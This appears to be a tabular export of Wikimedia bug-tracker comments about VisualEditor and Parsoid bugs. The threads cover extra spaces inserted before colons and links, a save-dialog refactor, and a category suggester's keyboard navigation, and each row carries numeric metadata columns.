https://gerrit.wikimedia.org/r/84701",,,1379696165,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.125,0.9583333333333334,"Change 84701 merged by jenkins-bot:
(Bug 48570) Fix subtle selser bug handling separator-only nodes

GERRIT_URL"
231766,Spaces added before colons and links in some cases,*** Bug 50637 has been marked as a duplicate of this bug. ***,,,1379613746,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50637 has been marked as a duplicate of this bug. ***
231760,Spaces added before colons and links in some cases,"Change 84701 had a related patch set uploaded by Subramanya Sastry:
(Bug 48570) Fix subtle selser bug handling separator-only nodes

https://gerrit.wikimedia.org/r/84701",,,1379466252,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,21.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.464285714285714,1.0,"Change 84701 had a related patch set uploaded by Subramanya Sastry:
(Bug 48570) Fix subtle selser bug handling separator-only nodes

GERRIT_URL"
231752,Spaces added before colons and links in some cases,"Confirmed on simple test case. Investigating.
---------------------------------------

[subbu@earth tests] echo ""foo : bar"" > /tmp/wt
[subbu@earth tests] node parse < /tmp/wt > /tmp/old.html
[subbu@earth tests] cat /tmp/old.html | sed 's/bar/bars/g;' > /tmp/new.html
[subbu@earth tests] node parse --html2wt --selser --oldtextfile /tmp/wt --oldhtmlfile /tmp/old.html < /tmp/new.html
foo  : bars",,,1379461368,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,10.0,3.933333333333333,0.45555555555555555,"Confirmed on simple test case. Investigating.
---------------------------------------

[subbu@earth tests] echo ""foo : bar"" > /tmp/wt
[subbu@earth tests] node parse < /tmp/wt > /tmp/old.html
[subbu@earth tests] cat /tmp/old.html | sed 's/bar/bars/g;' > /tmp/new.html
[subbu@earth tests] node parse --html2wt --selser --oldtextfile /tmp/wt --oldhtmlfile /tmp/old.html < /tmp/new.html
foo  : bars"
231744,Spaces added before colons and links in some cases,Bug 51024 has several more examples of this bug occurring if anyone is looking for them.,,,1379455350,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,6.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,4.294117647058823,1.0,Bug 51024 has several more examples of this bug occurring if anyone is looking for them.
231736,Spaces added before colons and links in some cases,*** Bug 51024 has been marked as a duplicate of this bug. ***,,,1379455266,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51024 has been marked as a duplicate of this bug. ***
231729,Spaces added before colons and links in some cases,See also bug 51024,,,1379448597,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,See also bug 51024
231723,Spaces added before colons and links in some cases,"Still present: see https://fr.wikipedia.org/w/index.php?title=Julot,_l%27Apache&diff=96678299&oldid=95213076 for example.",,,1379252830,,PHID-USER-5pyvkdz65d5h5vxebodc,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Still present: see URL for example.
231715,Spaces added before colons and links in some cases,"This looks like 1. a Parsoid issue, 2. fixed in master. Reassigning to Parsoid to confirm.",,,1376931075,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,3.5714285714285716,0.7619047619047619,"This looks like 1. a Parsoid issue, 2. fixed in master. Reassigning to Parsoid to confirm."
231707,Spaces added before colons and links in some cases,"Ignore last comment, should be: Could the fix to bug 52035 be related to this?",,,1375442806,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.8888888888888888,"Ignore last comment, should be: Could the fix to bug 52035 be related to this?"
231702,Spaces added before colons and links in some cases,Could the fix to bug 2035 be related to this?,,,1375442771,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.272727272727273,0.9090909090909091,Could the fix to bug 2035 be related to this?
231698,Spaces added before colons and links in some cases,"It's not just ' either, also seen when removing - and "" in my sandbox https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox&diff=566841354&oldid=566840716

spaces were added before internal and external links, except in the first instance where a space was added before a colon instead.",,,1375442619,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,5.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,12.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,5.0,5.0,7.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,12.0,2.0,0.0,5.0,0.0,5.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,3.9302325581395348,0.8604651162790697,"It's not just ' either, also seen when removing - and "" in my sandbox URL

spaces were added before internal and external links, except in the first instance where a space was added before a colon instead."
231693,Spaces added before colons and links in some cases,"We unfortunately can:
http://en.wikipedia.org/w/index.php?title=Little_Mosque_on_the_Prairie&diff=prev&oldid=566820635

It seems to be triggered by removal of '.
Another user verified this (not actually saving, only preview mode) in http://en.wikipedia.org/wiki/Indian_Bank , removing the ' after ""Binny&Co"" would cause a whitespace to be added right before the next wikilink.",,,1375441882,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,0.0,9.0,13.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,11.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,13.0,6.0,0.0,7.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.8333333333333335,0.8333333333333334,"We unfortunately can:
URL

It seems to be triggered by removal of '.
Another user verified this (not actually saving, only preview mode) in URL , removing the ' after ""Binny&Co"" would cause a whitespace to be added right before the next wikilink."
231688,Spaces added before colons and links in some cases,"(In reply to comment #0)
> See https://fr.wikipedia.org/w/index.php?title=COE&diff=prev&oldid=93166267
> for example.
> 
> I only removed the link, but VisualEditor added a space before the colons.
> 
> Another example:
> https://fr.wikipedia.org/w/index.php?title=MSS&diff=prev&oldid=93166411
> 
> There was already two spaces, but VisualEditor added a third.

These have been now fixed - sorry for the difficulty.

(In reply to comment #1)
> The same happens when you edit the first word of a sequence ""word + word +
> wikilink"", it will add an unnecessary space before the link. Examples,
> http://it.wikipedia.org/w/index.php?title=Amazon.
> com&diff=prev&oldid=59604951 - 
> http://it.wikipedia.org/w/index.php?title=Google&diff=59622535&oldid=59377529
> (<<talmente popolare ch in  [[lingua inglese|inglese]] >>).
> This last one is a deliberate vandalism from me to check the issue, I later
> rollbacked.

I *think* this is also fixed but I'm not absolutely sure; please re-open if you can still reproduce this.",,,1372017555,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,1.0,2.0,1.0,3.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,24.0,1.0,1.0,4.0,0.0,0.0,0.0,2.0,6.0,1.0,2.0,0.0,3.0,8.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.4777777777777778,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

These have been now fixed - sorry for the difficulty.

(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I *think* this is also fixed but I'm not absolutely sure; please re-open if you can still reproduce this."
231680,Spaces added before colons and links in some cases,"The same happens when you edit the first word of a sequence ""word + word + wikilink"", it will add an unnecessary space before the link. Examples,
http://it.wikipedia.org/w/index.php?title=Amazon.com&diff=prev&oldid=59604951 - 
http://it.wikipedia.org/w/index.php?title=Google&diff=59622535&oldid=59377529 (<<talmente popolare ch in  [[lingua inglese|inglese]] >>).
This last one is a deliberate vandalism from me to check the issue, I later rollbacked.",,,1371983634,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-dlmzlny66znupvw7flge,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,8.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,7.0,1.0,0.0,3.0,0.0,5.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,11.0,3.4324324324324325,0.7567567567567568,"The same happens when you edit the first word of a sequence ""word + word + wikilink"", it will add an unnecessary space before the link. Examples,
URL - 
URL (<<talmente popolare ch in  [[lingua inglese|inglese]] >>).
This last one is a deliberate vandalism from me to check the issue, I later rollbacked."
50566,VisualEditor: Convert save dialog to use ve.ui.Dialog,"

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368753300,1381186965.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_description,resolved,True,c1,1,True,False,False,-7,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
231403,VisualEditor: Convert save dialog to use ve.ui.Dialog,"Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

https://gerrit.wikimedia.org/r/81876",,,1381186926,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,"Change 81876 merged by jenkins-bot:
Make the save dialog an actual dialog

GERRIT_URL"
231396,VisualEditor: Convert save dialog to use ve.ui.Dialog,"Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

https://gerrit.wikimedia.org/r/81876",,,1378325639,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,19.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,4.523809523809524,0.9523809523809523,"Change 81876 had a related patch set uploaded by Jforrester:
Make the save dialog an actual dialog

GERRIT_URL"
231389,VisualEditor: Convert save dialog to use ve.ui.Dialog,*** Bug 50903 has been marked as a duplicate of this bug. ***,,,1377814666,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50903 has been marked as a duplicate of this bug. ***
231381,VisualEditor: Convert save dialog to use ve.ui.Dialog,"Removing from a milestone; as discussed, we're not going to have time to get to this before next week, and the EventLogging integration needs to be done RSN.",,,1370566097,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,21.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,21.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.9393939393939394,0.8787878787878788,"Removing from a milestone; as discussed, we're not going to have time to get to this before next week, and the EventLogging integration needs to be done RSN."
231373,VisualEditor: Convert save dialog to use ve.ui.Dialog,"Setting milestone to 2013-06-27 since it is marked as blocker for ""Beta"" (2013-07). It may be moved to an earlier milestone as we see fit. But no later than 06-27. Setting it since I use milestone to sort ""My bugs"".",,,1370298479,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,16.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,12.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,10.0,16.0,0.0,0.0,7.0,0.0,10.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,3.0344827586206895,0.6551724137931034,"Setting milestone to 2013-06-27 since it is marked as blocker for ""Beta"" (2013-07). It may be moved to an earlier milestone as we see fit. But no later than 06-27. Setting it since I use milestone to sort ""My bugs""."
231365,VisualEditor: Convert save dialog to use ve.ui.Dialog,Trevor has some thoughts about this. :-),,,1368753519,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-7mo2ly5r5mqfuju3u5ar,task_subcomment,,True,c1,1,True,,,-7,,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Trevor has some thoughts about this. :-)
50565,VisualEditor: Can't move to last item in category dialog suggester box with cursors,"Not sure how to reproduce, but I get two items in the ""Matching categories"" section; I can only move to the top one, and pressing down doesn't work (but pointer-highlighting and selection does).

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1368749160,1371002039.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-pj4cd4p4ynmavre5zsn7,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,3.0,2.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,2.0,6.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.7580645161290325,0.7258064516129032,"Not sure how to reproduce, but I get two items in the ""Matching categories"" section; I can only move to the top one, and pressing down doesn't work (but pointer-highlighting and selection does).

--------------------------
**Version**: unspecified
**Severity**: major"
